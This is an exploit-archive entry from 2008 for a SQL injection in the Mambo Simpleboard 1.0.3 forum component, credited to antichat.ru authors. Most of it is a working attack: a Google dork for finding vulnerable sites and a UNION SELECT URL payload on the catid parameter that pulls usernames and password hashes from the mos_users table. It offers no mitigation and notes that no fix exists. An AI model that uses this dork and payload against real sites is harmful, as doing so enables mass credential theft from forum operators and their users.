Mambo Component Simpleboard 1.0.3 (catid) SQL Injection Vulnerability

2008-02-27 00:00:00

#########################################################
##
## Mambo Simpleboard Forum Component 1.0.3 Stable (com_simpleboard)
##
##
## Author: it's my, Scipio, xcedz
##
## Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"index.php?option=com_simpleboard"
##
#########################################################

Exploit:

http://site.com/index.php?option=com_simpleboard&func=view&catid=-999+union+select+2,2,3,concat(0x3a,0x3a,username,0x3a,password),5+from+mos_users/*

#########################################################
## Together, we have strength =) #### www.antichat.ru
#########################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.